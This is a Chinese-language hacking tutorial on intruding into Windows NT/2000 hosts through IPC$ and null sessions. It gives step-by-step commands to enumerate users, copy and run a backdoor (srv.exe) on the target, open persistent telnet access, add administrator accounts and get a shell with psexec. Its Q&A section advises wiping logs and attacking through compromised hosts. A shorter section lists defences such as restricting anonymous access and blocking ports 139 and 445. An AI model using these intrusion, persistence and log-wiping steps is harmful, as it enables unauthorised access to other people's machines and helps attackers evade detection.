ipc 应用(需要试验,在xp下基本失效)

一 摘要
二 什么是ipc$
三 什么是空会话
四 空会话可以做什么
五 ipc$所使用的端口
六 ipc管道在hack攻击中的意义
七 ipc$连接失败的常见原因
八 复制文件失败的原因
九 关于at命令和xp对ipc$的限制
十 如何打开目标的IPC$共享以及其他共享
十一 一些需要shell才能完成的命令
十二 入侵中可能会用到的命令
十三 对比过去和现今的ipc$入侵
十四 如何防范ipc$入侵
十五 ipc$入侵问答精选

一 摘要

注意:本文所讨论的各种情况均默认发生在win NT/2000环境下,win98将不在此次讨论之列。

二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系 统安全性的降低。
平时我们总能听到有人在说ipc$漏洞,ipc$漏洞,其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说,一定是指微软自己安置的那个‘后门’:空会话(Null session)。那么什么是空会话呢?
三 什么是空会话
在介绍空会话之前,我们有必要了解一下一个安全会话是如何建立的。
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的,建立成功的会话将成为一个安全隧道,建立双方通过它互通信息,这个过程的大致顺序如下: 
1)会话请求者(客户)向会话接收者(服务器)传送一个数据包,请求安全隧道的建立; 
2)服务器产生一个随机的64位数(实现挑战)传送回客户; 
3)客户取得这个由服务器产生的64位数,用试图建立会话的帐号的口令打乱它,将结果返回到服务器(实现响应); 

4)服务器接受响应后发送给本地安全验证(LSA),LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号,核实本地发生;如果请求的帐号是一个域的帐号,响应传送到域控制器去核实。当对挑战的响应核实为正确 后,一个访问令牌产生,然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。

以上是一个安全会话建立的大致过程,那么空会话又如何呢?
空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与密码),但根据WIN2000的访问控制模型,空会话的建立同样需要提供一个令牌,可是空会话在建立过程中并没有经过用户信息的认证,所以这个令牌中不包含用户信息,因此,这个会话不能让系 统间发送加密信息,但这并不表示空会话的令牌中不包含安全标识符SID(它标识了用户和所属组),对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话的SID,用户名是:ANONYMOUS LOGON(这个用户名是可以在用户列表中看到的,但是是不能在SAM数据库中找到,属于系统内置的帐号),这个访问令牌包含下面伪装的组: 
Everyone 
Network
在安全策略的限制下,这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢? 
四 空会话可以做什么 
对于NT,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,并没有什么太大的利用价值;对2000作用更小,因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。
从这些我们可以看到,这种非信任会话并没有多大的用处,但从一次完整的ipc$入侵来看,空会话是一个不可缺少的跳板,因为我们从它那里可以得到户列表,而大多数弱口令扫描工具就是利用这个用户列表来进行口令猜解的,成功的导出用户列表大大增加了猜解的成 功率,仅从这一点,足以说明空会话所带来的安全隐患,因此说空会话毫无用处的说法是不正确的。以下是空会话中能够使用的一些具体命令:
1 首先,我们先建立一个空连接(当然,这需要目标开放ipc$)
命令:net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四个空格,net与use中间有一个空格,use后面一个,密码左右各一个空格。
2 查看远程主机的共享资源
命令:net view \\ip
解释:前提是建立了空连接后,用此命令可以查看远程主机的共享资源,如果它开了共享,可以得到如下面的结果, 但此命令不能显示默认共享。(没有成功过)
在 \\*.*.*.*的共享资源
资源共享名              类型         用途        注释
-----------------------------------------------------------
NETLOGON Disk   Logon    server     share
SYSVOL Disk          Logon    server     share

命令成功完成。

3 查看远程主机的当前时间
命令: net time \\ip
解释:用此命令可以得到一个远程主机的当前时间。(经试验,目前没有成功过)
4 得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
命令:nbtstat -A ip
用此命令可以得到一个远程主机的NetBIOS用户名列表,返回如下结果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER UNIQUE Registered
OYAMANISHI-H GROUP Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
OYAMANISHI-H GROUP Registered
SERVER UNIQUE Registered
OYAMANISHI-H UNIQUE Registered
..__M##ROWSE__. GROUP Registered
INet~Services GROUP Registered
IS~SERVER...... UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我们经常使用空会话做的事情,好像也能获得不少东西哟,不过要注意一点:建立IPC$连接的操作会在Event Log中留下记录,不管你是否登录成功。 好了,那么下面我们就来看看ipc$所使用的端口是什么?

五 ipc$所使用的端口
首先我们来了解一些基础知识:
1 SMB: (Server Message Block) Windows协议族,用于文件打印共享的服务;
2 NBT: (NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
3 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。

有了这些基础知识,我们就可以进一步来讨论访问网络共享对端口的选择了:
对于win2000客户端(发起端)来说:
1 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
2 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。

对于win2000服务器端来说:
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
2 如果禁止NBT,那么只有445端口开放。

我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见,如果远程服务器没有监听139或445端口,ipc$会话是无法建立的。

六 ipc管道在hack攻击中的意义
ipc管道本来是微软为了方便管理员进行远程管理而设计的,但在入侵者看来,开放ipc管道的主机似乎更容易得手。通过ipc管道,我们可以远程调用一些系统函数(大多通过工具实现,但需要相应的权限),这往往是入侵成败的关键。如果不考虑这些,仅从传送 文件这一方面,ipc管道已经给了入侵者莫大的支持,甚至已经成为了最重要的传输手段,因此你总能在各大论坛上看到一些朋友因为打不开目标机器的ipc管道而一筹莫展大呼救命。当然,我们也不能忽视权限在ipc管道中扮演的重要角色,想必你一定品尝过空会 话的尴尬,没有权限,开启管道我们也无可奈何。但入侵者一旦获得了管理员的权限,那么ipc管道这把双刃剑将显示出它狰狞的一面。

七 ipc$连接失败的常见原因
以下是一些常见的导致ipc$连接失败的原因:
1 IPC连接是Windows NT及以上系统中特有的功能,由于其需要用到Windows NT中很多DLL函数,所以不能在Windows 9.x/Me系统中运行,也就是说只有nt/2000/xp才可以相互建立ipc$连接,98/me是不能建立ipc$连接的;
2 如果想成功的建立一个ipc$连接,就需要响应方开启ipc$共享,即使是空连接也是这样,如果响应方关闭了ipc$共享,将不能建立连接;
3 连接发起方未启动Lanmanworkstation服务(显示名为:Workstation):它提供网络链结和通讯,没有它发起方无法发起连接请求;
4 响应方未启动Lanmanserver服务(显示名为:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依赖于此服务,没有它主机将无法响应发起方的连接请求,不过没有它仍可发起ipc$连接;(发起方可以不开启)
5 响应方未启动NetLogon,它支持网络上计算机 pass-through 帐户登录身份(不过这种情况好像不多);
6 响应方的139,445端口未处于监听状态或被防火墙屏蔽;
7 连接发起方未打开139,445端口;
8 用户名或者密码错误:如果发生这样的错误,系统将给你类似于''无法更新密码''这样的错误提示(显然空会话排除这种错误);
9 命令输入错误:可能多了或少了空格,当用户名和密码中不包含空格时两边的双引号可以省略,如果密码为空,可以直接输入两个引号""即可;
10 如果在已经建立好连接的情况下对方重启计算机,那么ipc$连接将会自动断开,需要重新建立连接。 

另外,你也可以根据返回的错误号分析原因: 

错误号5,拒绝访问:很可能你使用的用户不是管理员权限的; 
错误号51,Windows无法找到网络路径:网络有问题; 
错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 
错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$; 
错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连; 
错误号1326,未知的用户名或错误密码:原因很明显了; 
错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;
错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。 

八 复制文件失败的原因
有些朋友虽然成功的建立了ipc$连接,但在copy时却遇到了这样那样的麻烦,无法复制成功,那么导致复制失败的常见原因又有哪些呢?
1 对方未开启共享文件夹
这类错误出现的最多,占到50%以上。许多朋友在ipc$连接建立成功后,甚至都不知道对方是否有共享文件夹,就进行盲目复制,结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下你想要复制的共享文件夹是否存在(用软件查看当然更好),不要认为能建立ipc$连接就一定有共享文件夹存在。
2 向默认共享复制失败
这类错误也是大家经常犯的,主要有两个小方面:
1)错误的认为能建立ipc$连接的主机就一定开启了默认共享,因而在建立完连接之后马上向c$,d$,admin$之类的默认共享复制文件,一旦对方未开启默认共享,将导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享,并不能说明默认共享 一定存在。ipc$共享与默认共享是两码事,ipc$共享是一个命名管道,并不是哪个实际的文件夹,而默认共享却是实实在在的共享文件夹;
2)由于net view \\IP 这个命令无法显示默认共享文件夹(因为默认共享带$),因此通过这个命令,我们并不能判断对方是否开启了默认共享,因此如果对方未开启默认共享,那么所有向默认共享进行的操作都不能成功;(不过大部分扫描软件在扫弱口令的同时,都能扫到默认共享目录, 如何判断默认共享?可以避免此类错误的发生)
要点:请大家一定区分ipc共享,默认共享,普通共享这三者的区别:ipc共享是一个管道,并不是实际的共享文件夹;默认共享是安装时默认打开的文件夹;普通共享是我们自己开启的可以设置权限的共享文件夹。
3用户权限不够,包括四种情形:
1)空连接向所有共享(默认共享和普通共享)复制时,权限是不够的;
2)向默认共享复制时,在Win2000 Pro版中,只有Administrators和Backup Operators组成员才可以,在Win2000 Server版本 Server Operatros组也可以访问到这些共享目录; 
3)向普通共享复制时,要具有相应权限(即对方管理员事先设定的访问权限);
4)对方可以通过防火墙或安全软件的设置,禁止外部访问共享;

注意:
1 不要认为administrator就一定具有管理员权限,管理员名称是可以改的
2 管理员可以访问默认共享的文件夹,但不一定能够访问普通的共享文件夹,因为管理员可以对普通的共享文件夹进行访问权限设置,如图6,管理员为D盘设置的访问权限为仅允许名为xinxin的用户对该文件夹进行完全访问,那么此时即使你拥有管理员权限,你仍然 不能访问D盘。不过有意思的是,如果此时对方又开启了D$的默认共享,那么你却可以访问D$,从而绕过了权限限制,有兴趣的朋友可以自己做测试。


4被防火墙杀死或在局域网

还有一种情况,那就是也许你的复制操作已经成功,但当远程运行时,被防火墙杀掉了,导致找不到文件;或者你把木马复制到了局域网内的主机,导致连接失败(反向连接的木马不会发生这种情况)。如果你没有想到这种情况,你会以为是复制上出了问题,但实际你的复 制操作已经成功了,只是运行时出了问题。

九 关于at命令和xp对ipc$的限制
本来还想说一下用at远程运行程序失败的原因,但考虑到at的成功率不是很高,问题也很多,在这里就不提它了(提的越多,用的人就越多),而是推荐大家用psexec.exe远程运行程序,假设想要远程机器执行本地c:\xinxin.exe文件,且管理 员为administrator,密码为1234,那么输入下面的命令:
psexec \\ip -u administrator -p 1234 -c c:\xinxin.exe
如果已经建立ipc连接,则-u -p这两个参数不需要,psexec.exe将自动拷贝文件到远程机器并运行。


本来xp中的ipc$也不想在这里讨论,想单独拿出来讨论,但看到越来越多的朋友很急切的提问为什么遇到xp的时候,大部分操作都很难成功。我在这里就简单提一下吧,在xp的默认安全选项中,任何远程访问仅被赋予来宾权限,也就是说即使你是用管理员帐户和 密码,你所得到的权限也只是Guest,因此大部分操作都会因为权限不够而失败,而且到目前为止并没有一个好的办法来突破这一限制。所以如果你真的得到了xp的管理员密码,我建议你尽量避开ipc管道。

十 如何打开目标的IPC$共享以及其他共享
目标的ipc$不是轻易就能打开的,否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马,cmd重定向等,然后在shell下执行:(shell不是cmd。。。)
net share ipc$
开放目标的ipc$共享;
net share ipc$ /del
关闭目标的ipc$共享;如果你要给它开共享文件夹,你可以用:
net share xinxin=c:\
这样就把它的c盘开为共享名为xinxin共享文件夹了。(可是我发现很多人错误的认为开共享文件夹的命令是net share c$,还大模大样的给菜鸟指指点点,真是误人子弟了)。再次声明,这些操作都是在shell下才能实现的。

十一 一些需要shell才能完成的命令
看到很多教程这方面写的十分不准确,一些需要shell才能完成命令就简简单单的在ipc$连接下执行了,起了误导作用。那么下面我总结一下需要在shell才能完成的命令:
1 向远程主机建立用户,激活用户,修改用户密码,加入管理组的操作需要在shell下完成;
2 打开远程主机的ipc$共享,默认共享,普通共享的#作需要在shell下完成;

3 运行/关闭远程主机的服务,需要在shell下完成;

4 启动/杀掉远程主机的进程,也需要在shell下完成(用软件的情况下除外,如pskill)。


十二 入侵中可能会用到的命令
为了这份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已经掌握了这些命令,你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程,如果只适用于本地,你只能在获得远程主机的shell(如cmd,telnet等)后,才能 向远程主机执行。
1 建立/删除ipc$连接的命令
1)建立空连接:
net use \\127.0.0.1\ipc$ "" /user:"" 
2)建立非空连接:
net use \\127.0.0.1\ipc$ "密码" /user:"用户名" 
3)删除连接:
net use \\127.0.0.1\ipc$ /del
2 在ipc$连接中对远程主机的操作命令
1) 查看远程主机的共享资源(看不到默认共享):
net view \\127.0.0.1 
2) 查看远程主机的当前时间:
net time \\127.0.0.1 
3) 得到远程主机的netbios用户名列表:
nbtstat -A 127.0.0.1 
4)映射/删除远程共享:
net use z: \\127.0.0.1\c 
此命令将共享名为c的共享资源映射为本地z盘 
net use z: /del 
删除映射的z盘,其他盘类推
5)向远程主机复制文件:
copy 路径\文件名 \\IP\共享目录名,如:
copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内
当然,你也可以把远程主机上的文件复制到自己的机器里:
copy \\127.0.0.1\c$\xinxin.exe c:\
6)远程添加计划任务:
at \\IP 时间 程序名 如:
at \\127.0.0.0 11:00 xinxin.exe
注意:时间尽量使用24小时制;如果你打算运行的程序在系统默认搜索路径(比如system32/)下则不用加路径,否则必须加全路径
3 本地命令
1)查看本地主机的共享资源(可以看到本地的默认共享)
net share
2)得到本地主机的用户列表
net user
3)显示本地某用户的帐户信息
net user 帐户名
4)显示本地主机当前启动的服务
net start 
5)启动/关闭本地服务
net start 服务名 
net stop 服务名 
6)在本地添加帐户
net user 帐户名 密码 /add
7)激活禁用的用户
net uesr 帐户名 /active:yes
8)加入管理员组
net localgroup administrators 帐户名 /add 
很显然的是,虽然这些都是本地命令,但如果你在远程主机的shell中输入,比如你telnet成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。
4 其他一些命令
1)telnet 
telnet IP 端口
telnet 127.0.0.0 23
2)用opentelnet.exe开启远程主机的telnet
OpenTelnet.exe \\ip 管理员帐号 密码 NTLM的认证方式 port
OpenTelnet.exe \\127.0.0.1 administrator "" 1 90
不过这个小工具需要满足四个要求:
1)目标开启了ipc$共享
2)你要拥有管理员密码和帐号
3)目标开启RemoteRegistry服务,用户就可以更改ntlm认证(对于ntlm的说明见附件1)
4)对仅WIN2K/XP有效


3)用psexec.exe一步获得shell,需要ipc管道支持

psexec.exe \\IP -u 管理员帐号 -p 密码 cmd
psexec.exe \\127.0.0.1 -u administrator -p "" cmd

十三 对比过去和现今的ipc$入侵
既然是对比,那么我就先把过去的ipc$入侵步骤写给大家,都是蛮经典的步骤:

[1] C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators
\\用扫到的空口令建立连接   
[2] c:\>net view \\127.0.0.1
\\查看远程的共享资源
[3] C:\>copy srv.exe \\127.0.0.1\admin$\system32 
\\将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启  
[4] C:\>net time \\127.0.0.1 
\\查看远程主机的当前时间
[5] C:\>at \\127.0.0.1 时间 srv.exe 
\\用at命令远程运行srv.exe,需要对方开启了''Task Scheduler''服务  
[6] C:\>net time \\127.0.0.1
\\再次查看当前时间来估算srv.exe是否已经运行,此步可以省略
[7] C:\>telnet 127.0.0.1 99 
\\开一个新窗口,用telnet远程登陆到127.0.0.1从而获得一个shell,99端口是srv.exe开的一次性后门的端口  
[8] C:\WINNT\system32>net start telnet
\\我们在刚刚登陆上的shell中启动远程机器的telnet服务,毕竟srv.exe是一次性的后门,我们需要一个长久的后门便于以后访问,如果对方的telnet已经启动,此步可省略
[9] C:\>copy ntlm.exe \\127.0.0.1\admin$\system32
\\在原来那个窗口中将ntlm.exe传过去,ntlm.exe是用来更改telnet身份验证的(对于ntlm的说明见附件1)
[10] C:\WINNT\system32>ntlm.exe 
\\在shell窗口中运行ntlm.exe,以后你就可以畅通无阻的telnet这台主机了
[11] C:\>telnet 127.0.0.1 23
\\在新窗口中telnet到127.0.0.1,端口23可省略,这样我们又获得一个长期的后门
[12] C:\WINNT\system32>net user 帐户名 密码 /add
        C:\WINNT\system32>net uesr guest /active:yes
        C:\WINNT\system32>net localgroup administrators 帐户名 /add
\\telnet上以后,你可以建立新帐户,激活guest,把任何帐户加入管理员组等

好了,写到这里我似乎回到了2,3年前,那时的ipc$大家都是这么用的,不过随着新工具的出现,上面提到的一些工具和命令现在已经不常用到了,那就让我们看看现在的高效而简单的ipc$入侵吧。

[1] psexec.exe \\IP -u 管理员帐号 -p 密码 cmd 
\\用这个工具我们可以一步到位的获得shell
OpenTelnet.exe \\server 管理员帐号 密码 NTLM的认证方式 port
\\用它可以方便的更改telnet的验证方式和端口,方便我们登陆
[2] 已经没有第二步了,用一步获得shell之后,你做什么都可以了,安后门可以用winshell,克隆就用ca吧,开终端用3389.vbe,记录密码用win2kpass,总之好的工具不少,随你选了,我就不多说了。

十四 如何防范ipc$入侵察看本地共享资源

1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)
运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1
如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但无法通过这种连接得到列举SAM帐号和共享信息的权限;在Windows 2000 中增加了"2",未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项-''对匿名连接的额外限制''
2 禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(重起后默认共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)禁止自动打开默认共享(此#作并不能关闭ipc$共享) 
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。 
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。
3 关闭ipc$和默认共享依赖的服务:server服务
如果你真的想关闭ipc$共享,那就禁止server服务吧:
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用,这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于server服务,不要管它。 
4 屏蔽139,445端口 
由于没有以上两个端口的支持,是无法建立ipc$的,因此屏蔽139,445端口同样可以阻止ipc$入侵。
1)139端口可以通过禁止NBT来屏蔽
本地连接-TCP/IT属性-高级-WINS-选‘禁用TCP/IT上的NETBIOS’一项
2)445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled 
Type: REG_DWORD
value: 0
修改完后重启机器
注意:如果屏蔽掉了以上两个端口,你将无法用ipc$入侵别人。 
3)安装防火墙进行端口过滤
6 设置复杂密码,防止通过ipc$穷举出密码,我觉得这才是最好的办法,增强安全意识,比不停的打补丁要安全的多。

十五 ipc$入侵问答精选
1.进行ipc$入侵的时候,会在服务器中留下记录,有什么办法可以不让服务器发现吗?
答:留下记录是一定的,你走后用清除日志程序删除就可以了,或者用肉鸡入侵。
2.你看下面的情况是为什么,可以连接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功
答:像“找不到网络路径”“找不到网络名”之类的问题,大多是因为你想要复制到的共享文件夹没有开启,所以在复制的时候会出现错误,你可以试着找找其他的共享文件夹。
3.如果对方开了IPC$,且能建立空联接,但打开C、D盘时,都要求密码,我知道是空连接没有太多的权限,但没别的办法了吗?
答:建议先用流光或者别的什么扫描软件试着猜解一下密码,如果猜不出来,只能放弃,毕竟空连接的能力有限。
4.我已经猜解到了管理员的密码,且已经ipc$连接成功了,但net view \\ip发现它没开默认共享,我该怎么办?
答:首先纠正你的一个错误,用net view \\ip是无法看到默认共享的,你可以试着将文件复制到c$,d$看看,如果都不行,说明他关闭了默认共享,那你就用opentelnet.exe或psexec.exe吧,用法上面有。
5.ipc$连接成功后,我用下面的命令建立了一个帐户,却发现这个帐户在我自己的机器上,这是怎么回事?
net uset ccbirds /add
答:ipc$建立成功只能说明你与远程主机建立了通信隧道,并不意味你取得了一个shell,只有在获得一个shell(比如telnet)之后,你才能在远程机器建立一个帐户,否则你的操作只是在本地进行。
6.我已进入了一台肉机,用的管理员帐号,可以看他的系统时间,但是复制程序到他的机子上却不行,每次都提示“拒绝访问,已复制0个文件”,是不是对方有什么服务没开,我该怎么办?
答:一般来说“拒绝访问”都是权限不够的结果,可能是你用的帐户有问题,还有一种可能,如果你想向普通共享文件夹复制文件却返回这个错误,说明这个文件夹设置的允许访问用户中不包括你(哪怕你是管理员),这一点我在上一期文章中分析了。
7.我用Win98能与对方建立ipc$连接吗?
答:理论上不可以,要进行ipc$的#作,建议用win2000,用其他操作系统会带来许多不必要的麻烦。
8.我用net use \\ip\ipc$ "" /user ""成功的建立了一个空会话,但用nbtstat -A IP 却无法导出用户列表,这是为什么?
答:空会话在默认的情况下是可以导出用户列表的,但如果管理员通过修改注册表来禁止导出列表,就会出现你所说的情况;还有可能是你自己的NBT没有打开,nbtstat命令是建立在NBT之上的。  
9.我建立ipc$连接的时候返回如下信息:‘提供的凭据与已存在的凭据集冲突’,怎么回事?
答:呵呵,这说明你已经与目标主机建立了ipc$连接,两个主机间同时建立两个ipc$连接是不允许的。
10.我在映射的时候出现:
F:\>net use h: \\211.161.134.*\e$
系统发生 85 错误。
本地设备名已在使用中。这是怎么回事?
答:你也太粗心了吧,这说明你有一个h盘了,映射到没有的盘符吧!
11.我建立了一个连接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了,但当我映射时出现了错误,向我要密码,怎么回事?
F:\>net use h: \\*.*.*.*\c$
密码在 \\*.*.*.*\c$ 无效。
请键入 \\*.*.*.*\c$ 的密码:
系统发生 5 错误。
拒绝访问。
答:呵呵,向你要密码说明你当前使用的用户权限不够,不能映射C$这个默认共享,想办法提升权限或者找管理员的弱口令吧!默认共享一般是需要管理员权限的。
12.我用superscan扫到了一个开了139端口的主机,但为什么不能空连接呢?
答:你混淆了ipc$与139的关系,能进行ipc$连接的主机一定开了139或445端口,但开这两个端口的主机可不一定能空连接,因为对方可以关闭ipc$共享.
13.我门局域网里的机器大多都是xp,我用流光扫描到几个administrator帐号口令是空,而且可以连接,但不能复制东西,说错误5。请问为什么?
答:xp的安全性要高一些,在安全策略的默认设置中,对本地帐户的网络登录进行身份验证的时候,默认为来宾权限,即使你用管理员远程登录,也只具有来宾权限,因此你复制文件,当然是错误5:权限不够。
14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功,可是 net use i: \\192.168.0.2\c
出现请键入 \\192.168.0.2 的密码,怎么回事情呢?我用的可是管理员呀?应该什么都可以访问呀
答:虽然你具有管理员权限,但管理员在设置c盘共享权限时(注意:普通共享可以设置访问权限,而默认共享则不能)可能并未设置允许administrator访问,所以会出现上述问题。
15.如果自己的机器禁止了ipc$, 是不是还可以用ipc$连接别的机器?如果禁止server服务呢?
答:禁止以上两项仍可以发起ipc$连接,不过这种问题自己动手试验会更好。
16.能告诉我下面的两个错误产生的原因吗?
c:\>net time \\61.225.*.*
系统发生 5 错误。
拒绝访问。

c:\>net view \\61.225.*.*
系统发生 5 错误。
拒绝访问。

答:起初遇到这个问题的时候我也很纳闷,错误5表示权限不够,可是连空会话的权限都可以完成上面的两个命令,他为什么不行呢?难道是他没建立连接?后来那个粗心的同志告诉我的确是这样,他忘记了自己已经删了ipc$连接,之后他又输入了上面那两个命令,随 之发生了错误5。

17.您看看这是怎么回事?
F:\>net time
找不到时间服务器。
请键入 NET HELPMSG 3912 以获得更多的帮助。

答:答案很简单,你的命令错了,应该是net time \\ip

没输入ip地址,当然找不到服务器。view的命令也应该有ip地址,即:net view \\ip


附件1:ntlm服务

早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称LM,它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM是windows早期安全协议,因向后兼容性而保留下来。NTLM是NT LAN Manager的缩写,即NT LAN管理器。

NTLM - 工作流程
从Win2000开始默认协议为Kerboros,下列情况会调用NTLM:
  遗留客户端或服务器需要登录到网络或本地时。
  UNIX客户端需要与NT服务器通话时。
  有正在使用验证NTLM的服务器信息块(SMB)后台程序的UNIX客户端时。
  也即认证方或被认证方有仅支持NTLM情况时。
  它以挑战/响应(Challenge/Response)顺序为基础。
  1.客户端发送用户名和域名到服务器。
  2.服务器转发到域控制器DC。
  3.DC用客户端密码随机产生一个8字节得挑战(Challenge),发送给服务器。
  4.服务器将挑战转发给客户端。
  5.客户端用密码经过hash及DES加密算法等操作得到一个加密结果响应(Response)发送给服务器。
  6.服务器将响应转发给DC。
  7.DC做同样操作验证客户端响应。
  8.验证结束,返回结果通知服务器。

NTLM - 身份验证
  从工作流程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你自己的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你登录的机器名为B(远地机器),你在A上的帐户是ABC,密码是1234,你在B上的帐号是XYZ,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用ABC和1234,而并非用你要登录帐号XYZ和5678,且这些都是自动完成的,根本不给你动手的机会,因此你的登录操作将失败。
  NTLM身份验证选项有三个值。默认是2。可以有下面这些值:
  0:不使用NTLM身份验证。
  1:先尝试NTLM身份验证,如果失败,再使用用户名和密码。
  2:只使用NTLM身份验证。
  Telnet服务器使用NTLM的有3选项之一时,客户机会显示下面情况中的一种:
  1)身份验证选项=0时
  Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
  Welcome to Microsoft Telnet Service
  Telnet Server Build 5.00.99201.1
  login:
  password:
  NTLM身份验证选项为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入自己的登录帐号密码XYZ和5678。
  2)身份验证选项=1时
  NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
  Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
  Welcome to Microsoft Telnet Service
  Telnet Server Build 5.00.99201.1
  login:
  password:
  这时先尝试NTLM身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别。
  3)身份验证选项=2时,就是我们一开始遇到的现象。
  对NTLM身份验证选项值的改变可以使用Win2000为我们提供Telnet服务器管理程序tlntadmn.exe;其实Win2000同时为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),及Telnet服务器管理程序tlntadmn.exe。若我们不需要NTLM身份验证可以按以下步骤设置:
  1、单击“开始”—>“运行“,键入tlntadmn,然后确定
  2、在弹出的选项中选择Display,再选择Change Registry Settings。
  3、选择NTLM。
  4、改变NTLM值为0不使用NTML身份验证
  5、重新启动Telnet服务器。
  其实也可以使用tlntadmn.exe对Telnet服务的其他默认设置来进行配置,配置后需要重新启动Telnet服务。
  AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0:不允许域用户访问(只允许本地用户)。
  DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。
  DefaultShell:显示shell安装的路径位置。默认值是:%systemroot%\System32\Cmd.exe /q /k
  MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。
  LoginScript:显示Telnet服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。
